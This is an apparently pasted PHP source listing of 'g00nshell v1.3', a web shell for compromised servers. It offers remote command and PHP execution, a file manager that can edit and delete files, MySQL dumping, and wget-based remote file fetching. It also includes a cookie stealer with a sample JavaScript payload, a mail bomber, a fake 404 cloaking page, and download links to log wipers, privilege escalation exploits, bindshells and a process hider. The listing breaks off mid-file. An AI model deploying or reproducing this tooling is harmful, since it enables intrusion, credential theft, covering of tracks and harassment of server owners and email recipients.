g00n Shell - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:11 a.m.

FORMAT: PHP

SIZE: 33.0 kB

Raw Download

HITS: 731

Report
  1. <?php
  2. /*
  3. ######################################################################
  4. # [g00n]FiSh presents: #
  5. # g00nshell v1.3 final #
  6. ############################DOCUMENTATION#############################
  7. #To execute commands, simply include ?cmd=___ in the url. #
  8. #Ex: http://site.com/shl.php?cmd=whoami #
  9. # #
  10. #To steal cookies, use ?cookie=___ in the url. #
  11. #Ex: <script>document.location.href= #
  12. #'http://site.com/shl.php?cookie='+document.cookies</script> #
  13. ##########################VERIFICATION LEVELS#########################
  14. #0: No protection; anyone can access #
  15. #1: User-Agent required #
  16. #2: Require IP #
  17. #3: Basic Authentication #
  18. ##############################KNOWN BUGS##############################
  19. #Windows directory handling #
  20. # #
  21. #The SQL tool is NOT complete. There is currently no editing function#
  22. #available. Some time in the future this may be fixed, but for now #
  23. #don't complain to me about it #
  24. ################################SHOUTS################################
  25. #pr0be - Beta testing & CSS #
  26. #TrinTiTTY - Beta testing #
  27. #clorox - Beta testing #
  28. #Everyone else at g00ns.net #
  29. ########################NOTE TO ADMINISTRATORS########################
  30. #If this script has been found on your server without your approval, #
  31. #it would probably be wise to delete it and check your logs. #
  32. ######################################################################
  33. */
  34. error_reporting(0);
  35. // Configuration
  36. $auth = 0;
  37. $uakey = "724ea055b975621b9d679f7077257bd9"; // MD5 encoded user-agent
  38. $IP = array("127.0.0.2","127.0.0.1"); // IP Addresses allowed to access shell
  39. $email = ""; // E-mail address where cookies will be sent
  40. $user = "55c4b3899b00d20543d41170d2775e8f"; // MD5 encoded User
  41. $pass = "8634361d1a2e44420f44ef3612706bb5"; // MD5 encoded Password
  43. // Global Variables
  44. $version = "1.3 final";
  45. $self = $_SERVER['PHP_SELF'];
  46. $soft = $_SERVER["SERVER_SOFTWARE"];
  47. $servinf = split("[:]", getenv('HTTP_HOST'));
  48. $servip = $servinf[0];
  49. $servport = $servinf[1];
  50. $uname = php_uname();
  51. $curuser = @exec('whoami');
  52. $cmd = $_GET['cmd'];
  53. $act = $_GET['act'];
  54. $cmd = $_GET['cmd'];
  55. $cookie = $_GET['cookie'];
  56. $f = $_GET['f'];
  57. $curdir = cleandir(getcwd());
  58. if(!$dir){$dir = $_GET['dir'];}
  59. elseif($dir && $_SESSION['dir']){$dir = $_SESSION['dir'];}
  60. elseif($dir && $_SESSION['dir']){$dir = $curdir;}
  61. if($dir && $dir != "nullz"){$dir = cleandir($dir);}
  62. $contents = $_POST['contents'];
  63. $gf = $_POST['gf'];
  64. $img = $_GET['img'];
  65. session_start();
  66. @set_time_limit(5);
  67. switch($auth){ // Authentication switcher
  68. case 0: break;
  69. case 1: if(md5($_SERVER['HTTP_USER_AGENT']) != $uakey){hide();} break;
  70. case 2: if(!in_array($_SERVER['REMOTE_ADDR'],$IP)){hide();} break;
  71. case 3: if(!$_SERVER["PHP_AUTH_USER"]){userauth();} break;
  72. }
  74. function userauth(){ // Basic authentication function
  75. global $user, $pass;
  76. header("WWW-Authenticate: Basic realm='Secure Area'");
  77. if(md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"] != $pass)){
  78. hide();
  79. die();
  80. }
  81. }
  83. if(!$act && !$cmd && !$cookie && !$f && !$dir && !$gf && !$img){main();}
  84. elseif(!$act && $cmd){
  85. style();
  86. echo("<b>Results:</b>\n<br><textarea rows=20 cols=100>");
  87. $cmd = exec($cmd, $result);
  88. foreach($result as $line){echo($line . "\n");}
  89. echo("</textarea>");
  90. }
  91. elseif($cookie){@mail("$email", "Cookie Data", "$cookie", "From: $email"); hide();} // Cookie stealer function
  92. elseif($act == "view" && $f && $dir){view($f, $dir);}
  93. elseif($img){img($img);}
  94. elseif($gf){grab($gf);}
  95. elseif($dir){files($dir);}
  96. else{
  97. switch($act){
  98. case "phpinfo": phpinfo();break;
  99. case "sql": sql();break;
  100. case "files": files($dir);break;
  101. case "email": email();break;
  102. case "cmd": cmd();break;
  103. case "upload": upload();break;
  104. case "tools": tools();break;
  105. case "sqllogin": sqllogin();break;
  106. case "sql": sql();break;
  107. case "lookup": lookup();break;
  108. case "kill": kill();break;
  109. case "phpexec": execphp();break;
  110. default: main();break;
  111. }
  112. }
  114. function cleandir($d){ // Function to clean up the $dir and $curdir variables
  115. $d = realpath($d);
  116. $d = str_replace("\\\\", "//", $d);
  117. $d = str_replace("////", "//", $d);
  118. $d = str_replace("\\", "/", $d);
  119. return($d);
  120. }
  124. function hide(){ // Hiding function
  125. global $self, $soft, $servip, $servport;
  126. die("<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
  127. <HTML><HEAD>
  128. <TITLE>404 Not Found</TITLE>
  129. </HEAD><BODY>
  130. <H1>Not Found</H1>
  131. The requested URL $self was not found on this server.<P>
  132. <P>Additionally, a 404 Not Found
  133. error was encountered while trying to use an ErrorDocument to handle the request.
  134. <HR>
  135. <ADDRESS>$soft Server at $servip Port $servport</ADDRESS>
  136. </BODY></HTML>");
  137. }
  139. function style(){ // Style / header function
  140. global $servip,$version;
  141. echo("<html>\n
  142. <head>\n
  143. <title>g00nshell v" . $version . " - " . $servip . "</title>\n
  144. <style>\n
  145. body { background-color:#000000; color:white; font-family:Verdana; font-size:11px; }\n
  146. h1 { color:white; font-family:Verdana; font-size:11px; }\n
  147. h3 { color:white; font-family:Verdana; font-size:11px; }\n
  148. input,textarea,select { color:#FFFFFF; background-color:#2F2F2F; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }\n
  149. textarea { font-family:Courier; font-size:11px; }\n
  150. a { color:#6F6F6F; text-decoration:none; font-family:Verdana; font-size:11px; }\n
  151. a:hover { color:#7F7F7F; }\n
  152. td,th { font-size:12px; vertical-align:middle; }\n
  153. th { font-size:13px; }\n
  154. table { empty-cells:show;}\n
  155. .inf { color:#7F7F7F; }\n
  156. </style>\n
  157. </head>\n");
  158. }
  160. function main(){ // Main/menu function
  161. global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version;
  162. style();
  163. $act = array('cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute',
  164. 'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','lookup'=>'List Domains','bshell'=>'Bindshell','kill'=>'Kill Shell');
  165. $capt = array_flip($act);
  166. echo("<form method='GET' name='shell'>");
  167. echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>");
  168. echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>");
  169. echo("<b>Uname:</b> <span class='inf'>" . $uname . "</span><br>");
  170. echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>");
  171. echo("<div style='display:none' id='info'>");
  172. echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>");
  173. echo("<b>ID:</b> <span class='inf'>" . @exec('id') . "</span><br>");
  174. if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");}
  175. else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");}
  176. echo("\n<br>\n");
  177. if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");}
  178. else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");}
  179. echo("\n<br>\n");
  180. if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));}
  181. else{echo("<b>Disabled functions:</b> None");}
  182. echo("\n<br>\n");
  183. if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");}
  184. else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");}
  185. echo("</div>");
  186. echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'block';\">More</a> ] ");
  187. echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'none';\">Less</a> ]");
  188. echo("<center>");
  189. echo("<h3 align='center'>Links</h3>");
  190. if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
  191. else{foreach($act as $link){echo("[ <a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
  192. echo("</center>");
  193. echo("<hr>");
  194. echo("<br><iframe name='frm' style='width:100%; height:65%; border:0;' src='?act=files'></iframe>");
  195. echo("<pre style='text-align:center'>:: g00nshell <font color='red'>v" . $version . "</font> ::</pre>");
  196. die();
  197. }
  199. function cmd(){ // Command execution function
  200. style();
  201. echo("<form name='CMD' method='POST'>");
  202. echo("<b>Command:</b><br>");
  203. echo("<input name='cmd' type='text' size='50'> ");
  204. echo("<select name='precmd'>");
  205. $precmd = array(''=>'','Read /etc/passwd'=>'cat /etc/passwd','Open ports'=>'netstat -an',
  206. 'Running Processes'=>'ps -aux', 'Uname'=>'uname -a', 'Get UID'=>'id',
  207. 'Create Junkfile (/tmp/z)'=>'dd if=/dev/zero of=/tmp/z bs=1M count=1024',
  208. 'Find passwd files'=>'find / -type f -name passwd');
  209. $capt = array_flip($precmd);
  210. foreach($precmd as $c){echo("<option value='" . $c . "'>" . $capt[$c] . "\n");}
  211. echo("</select><br>\n");
  212. echo("<input type='submit' value='Execute'>\n");
  213. echo("</form>\n");
  214. if($_POST['cmd'] != ""){$x = $_POST['cmd'];}
  215. elseif($_POST['precmd'] != ""){$x = $_POST['precmd'];}
  216. else{die();}
  217. echo("Results: <br><textarea rows=20 cols=100>");
  218. $cmd = @exec($x, $result);
  219. foreach($result as $line){echo($line . "\n");}
  220. echo("</textarea>");
  221. }
  223. function execphp(){ // PHP code execution function
  224. style();
  225. echo("<h4>Execute PHP Code</h4>");
  226. echo("<form method='POST'>");
  227. echo("<textarea name='phpexec' rows=5 cols=100>");
  228. if(!$_POST['phpexec']){echo("/*Don't include <? ?> tags*/\n");}
  229. echo(htmlentities($_POST['phpexec']) . "</textarea>\n<br>\n");
  230. echo("<input type='submit' value='Execute'>");
  231. echo("</form>");
  232. if($_POST['phpexec']){
  233. echo("<textarea rows=10 cols=100>");
  234. eval(stripslashes($_POST['phpexec']));
  235. echo("</textarea>");
  236. }
  237. }
  239. function sqllogin(){ // MySQL login function
  240. session_start();
  241. if($_SESSION['isloggedin'] == "true"){
  242. header("Location: ?act=sql");
  243. }
  244. style();
  245. echo("<form method='post' action='?act=sql'>");
  246. echo("User:<br><input type='text' name='un' size='30'><br>\n");
  247. echo("Password:<br><input type='text' name='pw' size='30'><br>\n");
  248. echo("Host:<br><input type='text' name='host' size='30' value='localhost'><br>\n");
  249. echo("Port:<br><input type='text' name='port' size='30' value='3306'><br>\n");
  250. echo("<input type='submit' value='Login'>");
  251. echo("</form>");
  252. die();
  253. }
  255. function sql(){ // General SQL Function
  256. session_start();
  257. if(!$_GET['sqlf']){style();}
  258. if($_POST['un'] && $_POST['pw']){;
  259. $_SESSION['sql_user'] = $_POST['un'];
  260. $_SESSION['sql_password'] = $_POST['pw'];
  261. }
  262. if($_POST['host']){$_SESSION['sql_host'] = $_POST['host'];}
  263. else{$_SESSION['sql_host'] = 'localhost';}
  264. if($_POST['port']){$_SESSION['sql_port'] = $_POST['port'];}
  265. else{$_SESSION['sql_port'] = '3306';}
  267. if($_SESSION['sql_user'] && $_SESSION['sql_password']){
  268. if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']))){
  269. unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']);
  270. echo("Invalid credentials<br>\n");
  271. die(sqllogin());
  272. }
  273. else{
  274. $_SESSION['isloggedin'] = "true";
  275. }
  276. }
  277. else{
  278. die(sqllogin());
  279. }
  281. if ($_GET['db']){
  282. mysql_select_db($_GET['db'], $sqlcon);
  283. if($_GET['sqlquery']){
  284. $dat = mysql_query($_GET['sqlquery'], $sqlcon) or die(mysql_error());
  285. $num = mysql_num_rows($dat);
  286. for($i=0;$i<$num;$i++){
  287. echo(mysql_result($dat, $i) . "<br>\n");
  288. }
  289. }
  290. else if($_GET['table'] && !$_GET['sqlf']){
  291. echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&sqlf=ins'>Insert Row</a><br><br>\n");
  292. echo("<table border='1'>");
  293. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  294. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  295. $i = 0;
  296. $fields = array();
  297. while($row = mysql_fetch_assoc($result)){
  298. array_push($fields, $row['Field']);
  299. echo("<th>" . $fields[$i]);
  300. $i++;
  301. }
  302. $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error());
  303. $num_rows = mysql_num_rows($result) or die(mysql_error());
  304. $y=0;
  305. for($x=1;$x<=$num_rows+1;$x++){
  306. if(!$_GET['p']){
  307. $_GET['p'] = 1;
  308. }
  309. if($_GET['p']){
  310. if($y > (30*($_GET['p']-1)) && $y <= 30*($_GET['p'])){
  311. echo("<tr>");
  312. for($i=0;$i<count($fields);$i++){
  313. $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'";
  314. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  315. while($row = mysql_fetch_row($dat)){
  316. echo("<td>" . $row[0] . "</td>");
  317. }
  318. }
  319. echo("</tr>\n");
  320. }
  321. }
  322. $y++;
  323. }
  324. echo("</table>\n");
  325. for($z=1;$z<=ceil($num_rows / 30);$z++){
  326. echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $z . "'>" . $z . "</a> | ");
  327. }
  328. }
  329. elseif($_GET['table'] && $_GET['sqlf']){
  330. switch($_GET['sqlf']){
  331. case "dl": sqldownload();break;
  332. case "ins": sqlinsert();break;
  333. default: $_GET['sqlf'] = "";
  334. }
  335. }
  336. else{
  337. echo("<table>");
  338. $query = "SHOW TABLES FROM " . $_GET['db'];
  339. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  340. while ($row = mysql_fetch_row($dat)){
  341. echo("<tr><td><a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."'>" . $row[0] . "</a></td><td>[<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."&sqlf=dl'>Download</a>]</td></tr>\n");
  342. }
  343. echo("</table>");
  344. }
  345. }
  346. else{
  347. $dbs=mysql_list_dbs($sqlcon);
  348. while($row = mysql_fetch_object($dbs)) {
  349. echo("<a href='?act=sql&db=" . $row->Database . "'>" . $row->Database . "</a><br>\n");
  350. }
  351. }
  352. mysql_close($sqlcon);
  353. }
  355. function sqldownload(){ // Download sql file function
  356. @ob_flush;
  357. $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']);
  358. mysql_select_db($_GET['db'], $sqlcon);
  359. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  360. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  361. $fields = array();
  362. while($row = mysql_fetch_assoc($result)){
  363. array_push($fields, $row['Field']);
  364. $i++;
  365. }
  366. $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error());
  367. $num_rows = mysql_num_rows($result) or die(mysql_error());
  368. for($x=1;$x<$num_rows;$x++){
  369. $out .= "(";
  370. for($i=0;$i<count($fields);$i++){
  371. $out .= "'";
  372. $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'";
  373. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  374. while($row = mysql_fetch_row($dat)){
  375. if($row[0] == ""){
  376. $row[0] = "NULL";
  377. }
  378. if($i != count($fields)-1){
  379. $out .= str_replace("\r\n", "\\r\\n", $row[0]) . "', ";
  380. }
  381. else{
  382. $out .= $row[0]. "'";
  383. }
  384. }
  385. }
  386. $out .= ");\n";
  387. }
  388. $filename = $_GET['table'] . "-" . time() . '.sql';
  389. header("Content-type: application/octet-stream");
  390. header("Content-length: " . strlen($out));
  391. header("Content-disposition: attachment; filename=" . $filename . ";");
  392. echo($out);
  393. die();
  394. }
  396. function sqlinsert(){
  397. style();
  398. $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']);
  399. mysql_select_db($_GET['db'], $sqlcon);
  400. if($_POST['ins']){
  401. unset($_POST['ins']);
  402. $fields = array_flip($_POST);
  403. $f = implode(",", $fields);
  404. $v = implode(",", $_POST);
  405. $query = "INSERT INTO " . $_GET['table'] . " (" . $f . ") VALUES (" . $v . ")";
  406. mysql_query($query, $sqlcon) or die(mysql_error());
  407. die("Row inserted.<br>\n<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>Go back</a>");
  408. }
  409. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  410. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  411. $i = 0;
  412. $fields = array();
  413. echo("<form method='POST'>");
  414. echo("<table>");
  415. while($row = mysql_fetch_assoc($result)){
  416. array_push($fields, $row['Field']);
  417. echo("<tr><td><b>" . $fields[$i] . "</b><td><input type='text' name='" . $fields[$i] . "'><br>\n");
  418. $i++;
  419. }
  420. echo("</table>");
  421. echo("<br>\n<input type='submit' value='Insert' name='ins'>");
  422. echo("</form>");
  423. }
  425. function nicesize($size){
  426. if(!$size){return false;}
  427. if ($size >= 1073741824){return(round($size / 1073741824) . " GB");}
  428. elseif ($size >= 1048576){return(round($size / 1048576) . " MB");}
  429. elseif ($size >= 1024){return(round($size / 1024) . " KB");}
  430. else{return($size . " B");}
  431. }
  433. function files($dir){ // File manipulator function
  434. style();
  435. global $self, $curdir;
  436. if($dir==""){$dir = $curdir;}
  437. $dirx = explode("/", $dir);
  438. $files = array();
  439. $folders = array();
  440. echo("<form method='GET'>");
  441. echo("<input type='text' name='dir' value='" . $dir . "' size='40'>");
  442. echo("<input type='submit' value='Go'>");
  443. echo("</form>");
  444. echo("<h4>File list for ");
  445. for($i=0;$i<count($dirx);$i++){
  446. $totalpath .= $dirx[$i] . "/";
  447. echo("<a href='?dir=" . $totalpath . "'>$dirx[$i]</a>" . "/");
  448. }
  449. echo("</h4>");
  450. echo("<table>");
  451. echo("<th>File Name<th>File Size</th>");
  452. if ($handle = opendir($dir)) {
  453. while (false != ($link = readdir($handle))) {
  454. if (is_dir($dir . '/' . $link)){
  455. $file = array();
  456. if(is_writable($dir . '/' . $link)){$file['perm']='write';}
  457. elseif(is_readable($dir . '/' . $link)){$file['perm']='read';}
  458. else{$file['perm']='none';}
  459. switch($file['perm']){
  460. case "write": @$file['link'] = "<a href='?dir=$dir/$link'><font color='green'>$link</font></a>"; break;
  461. case "read": @$file['link'] = "<a href='?dir=$dir/$link'><font color='yellow'>$link</font></a>"; break;
  462. case "none": @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break;
  463. default: @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break;
  464. }
  465. @$file['icon'] = "folder";
  466. if($_SERVER['QUERY_STRING']){$folder = "<img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "'> " . $file['link'];}
  467. else{$folder = "<img src='?img=" . $file['icon']. "'> " . $file['link'];}
  468. array_push($folders, $folder);
  469. }
  470. else{
  471. $file = array();
  472. $ext = strtolower(end(explode(".", $link)));
  473. if(!$file['size'] = nicesize(@filesize($dir . '/' . $link))){
  474. $file['size'] = "0B";
  475. }
  476. if(is_writable($dir . '/' . $link)){$file['perm']='write';}
  477. elseif(is_readable($dir . '/' . $link)){$file['perm']='read';}
  478. else{$file['perm']='none';}
  479. switch($file['perm']){
  480. case "write": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='green'>$link</font></a>"; break;
  481. case "read": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='yellow'>$link</font></a>"; break;
  482. case "none": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</font></a>"; break;
  483. default: @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</a></font>"; break;
  484. }
  485. switch($ext){
  486. case "exe": case "com": case "jar": case "": $file['icon']="binary"; break;
  487. case "jpg": case "gif": case "png": case "bmp": $file['icon']="image"; break;
  488. case "zip": case "tar": case "rar": case "gz": case "cab": case "bz2": case "gzip": $file['icon']="compressed"; break;
  489. case "txt": case "doc": case "pdf": case "htm": case "html": case "rtf": $file['icon']="text"; break;
  490. case "wav": case "mp3": case "mp4": case "wma": $file['icon']="sound"; break;
  491. case "js": case "vbs": case "c": case "h": case "sh": case "pl": case "py": case "php": case "h": $file['icon']="script"; break;
  492. default: $file['icon'] = "unknown"; break;
  493. }
  494. if($_SERVER['QUERY_STRING']){$file = "<tr><td><img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "</td><td>" . $file['size'] . "</td></tr>\n";}
  495. else{$file = "<tr><td><img src='?img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "<td>" . $file['size'] . "</td></tr>\n";}
  496. array_push($files, $file);
  497. }
  498. }
  499. foreach($folders as $folder){echo("<tr><td>$folder</td><td>DIR</td></tr>\n");}
  500. foreach($files as $file){echo($file);}
  501. echo("</table>");
  502. closedir($handle);
  503. }
  504. }
  506. function email(){ // Email bomber function
  507. $times = $_POST['times'];
  508. $to = $_POST['to'];
  509. $subject = $_POST['subject'];
  510. $body = $_POST['body'];
  511. $from = $_POST['from'];
  513. style();
  514. echo("<h2>Mail Bomber</h2>
  515. <form method='POST' action='?act=email'>
  516. <b>Your address:</b><br>
  517. <input name='from' type='text' size='35'><br>
  518. <b>Their address:</b><br>
  519. <input name='to' type='text' size='35'><br>
  520. <b>Subject:</b><br>
  521. <input name='subject' type='text' size='35'><br>
  522. <b>Text:</b><br>
  523. <input name='body' type='text' size='35'><br>
  524. <b>How many times:</b><br>
  525. <input name='times' type='text' size='5'><br><br>
  526. <input name='submit' type='submit' value='Submit'>
  527. </form>");
  528. if ($to && $from){for($i=0;$i<$times;$i++){mail("$to", "$subject", "$body", "From: $from");}}
  529. }
  531. function view($filename, $dir){ // File view function
  532. if($_POST['fileact'] == "Download"){
  533. header("Content-type: application/octet-stream");
  534. header("Content-length: ".strlen($_POST['contents']));
  535. header("Content-disposition: attachment; filename=" . basename($filename) . ";");
  536. $handle = fopen($filename, "r");
  537. echo(fread($handle, filesize($filename)));
  538. die();
  539. }
  540. style();
  541. if($_POST['contents'] && $_POST['fileact'] == "Save"){
  542. $handle = fopen($filename, 'w');
  543. fwrite($handle, stripslashes($_POST['contents']));
  544. fclose($handle);
  545. echo("Saved file.<br><br>");
  546. echo("<a href='?act=view&f=$filename&dir=nullz'>Go back</a>");
  547. die();
  548. }
  549. elseif($_POST['fileact'] == "Delete"){
  550. unlink($filename);
  551. echo("Deleted file.<br><br>");
  552. echo("<a href='?act=files'>Go back</a>");
  553. die();
  554. }
  556. if($dir != "nullz"){ // heh
  557. $filename = $dir."/".$filename;
  558. }
  559. $bad = array("<", ">");
  560. $good = array("<", ">");
  561. $file = fopen($filename, 'r');
  562. $content = fread($file, @filesize($filename));
  563. echo("<form name='file' method='POST' action='?act=view&dir=$dir&f=$filename'>");
  564. echo("<textarea style='width:100%; height:92%;' name='contents'>");
  565. echo(str_replace($bad, $good, $content)."\n");
  566. echo("</textarea>");
  567. echo("<input name='fileact' type='submit' value='Save'>");
  568. echo("<input name='fileact' type='submit' value='Delete'>");
  569. echo("<input name='fileact' type='submit' value='Download'>");
  570. echo("</form>");
  571. }
  573. function edit($file, $contents){ // File edit function
  574. style();
  575. $handle = fopen($file, 'w');
  576. fwrite($handle, $contents);
  577. fclose($handle);
  578. echo("Saved file.<br><br>");
  579. echo("<a href='?act=files'>Go back</a>");
  580. }
  582. function upload(){ // Uploading frontend function
  583. global $curdir;
  584. style();
  585. echo("<form name='files' enctype='multipart/form-data' method='POST'>
  586. <b>Output Directory</b><br>
  587. <input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>
  588. <b>Remote Upload</b><br>
  589. <input type='text' name='rem' size='65'>
  590. <input type='submit' value='Grab'><br><br>
  591. <b>Local File Upload</b><br>
  592. <input name='up' type='file' size='65'>
  593. <input type='submit' value='Upload'>
  594. </form><br>");
  596. if($_POST['rem']){grab($_POST['rem']);}
  597. if($_FILES['up']){up($_FILES['up']);}
  598. }
  600. function up($up){ // Uploading backend function
  601. style();
  602. $updir = $_POST['loc'];
  603. move_uploaded_file($up["tmp_name"], $updir . "/" . $up["name"]);
  604. die("File has been uploaded.");
  605. }
  607. function grab($file){ // Uploading backend function
  608. style();
  609. $updir = $_POST['loc'];
  610. $filex = array_pop(explode("/", $file));
  611. if(exec("wget $file -b -O $updir/$filex")){die("File has been uploaded.");}
  612. else{die("File upload failed.");}
  613. }
  615. function tools(){ // Useful tools function
  616. global $curdir;
  617. style();
  618. $tools = array(
  619. "--- Log wipers ---"=>"1",
  620. "Vanish2.tgz"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz",
  621. "Cloak.c"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/cloak.c",
  622. "gh0st.sh"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/gh0st.sh",
  623. "--- Priv Escalation ---"=>"2",
  624. "h00lyshit - Linux 2.6 ALL"=>"http://someshit.net/files/xpl/h00lyshit",
  625. "k-rad3 - Linux <= 2.6.11"=>"http://someshit.net/files/xpl/krad3",
  626. "raptor - Linux <= 2.6.17.4"=>"http://someshit.net/files/xpl/raptor",
  627. "rootbsd - BSD v?"=>"http://someshit.net/files/xpl/rootbsd",
  628. "--- Bindshells ---"=>"3",
  629. "THC rwwwshell-1.6.perl"=>"http://packetstormsecurity.org/groups/thc/rwwwshell-1.6.perl",
  630. "Basic Perl bindshell"=>"http://packetstormsecurity.org/groups/synnergy/bindshell-unix",
  631. "--- Misc ---"=>"4",
  632. "MOCKS SOCKS4 Proxy"=>"http://superb-east.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz",
  633. "xps.c (proc hider)"=>"http://packetstormsecurity.org/groups/shadowpenguin/unix-tools/xps.c");
  634. $names = array_flip($tools);
  635. echo("<b>Tools:</b>");
  636. echo("<form method='post'>");
  637. echo("<b>Output Directory</b><br>");
  638. echo("<input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>");
  639. echo("<select name='gf' style='align:center;'>");
  640. foreach($tools as $tool) {echo("<option value='" . $tool . "'>" . $names[$tool] . "</option>\n");}
  641. echo("</select>");
  642. echo("<br><input type='submit' value='Grab'>");
  643. echo("</form>");
  644. }
  646. function lookup(){ // Domain lookup function
  647. style();
  648. global $servinf;
  649. $script = "import urllib, urllib2, sys, re
  650. req = urllib2.Request('http://www.seologs.com/ip-domains.html', urllib.urlencode({'domainname' : sys.argv[1]}))
  651. site = re.findall('.+\) (.+)<br>', urllib2.urlopen(req).read())
  652. for i in xrange(0,len(site)):
  653. print site[i]"; // My ***y python script
  654. $handle = fopen('lookup.py', 'w');
  655. fwrite($handle, $script);
  656. fclose($handle);
  657. echo("<h4>Domains</h4>");
  658. echo("<ul>");
  659. $cmd = exec("python lookup.py " . $servinf[0], $ret);
  660. foreach($ret as $site){echo("<li>" . $site . "\n");}
  661. unlink('lookup.py');
  662. }
  665. function img($img){ // Images function
  666. $images = array(
  667. "folder"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAA" .
  668. "gALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwq" .
  669. "d1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  670. "image"=>"R0lGODlhFAAWAOMAAP////8zM8z//8zMzJmZmWZmZmYAADMzMwCZzACZMwAzZgAAAAAAAAAAAAAAAAAAACH+TlRoaX" .
  671. "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" .
  672. "ZXIgMTk5NQAh+QQBAAACACwAAAAAFAAWAAAEkPDISae4WBzAu99Hdm1eSYYZWXYqOgJBLAcDoNrYNssGsBy/4GsX6y" .
  673. "2OyMWQ2OMQngSlBjZLWBM1AFSqkyU4A2tWywUMYt/wlTSIvgYGA/Zq3QwU7mmHvh4g8GUsfAUHCH95NwMHV4SGh4Ed" .
  674. "ihOOjy8rZpSVeiV+mYCWHncKo6Sfm5cliAdQrK1PQBlJsrNSEQA7",
  675. "unknown"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  676. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  677. "AAADaDi6vPEwDECrnSO+aTvPEQcIAmGaIrhR5XmKgMq1LkoMN7ECrjDWp52r0iPpJJ0KjUAq7SxLE+sI+9V8vycFiM" .
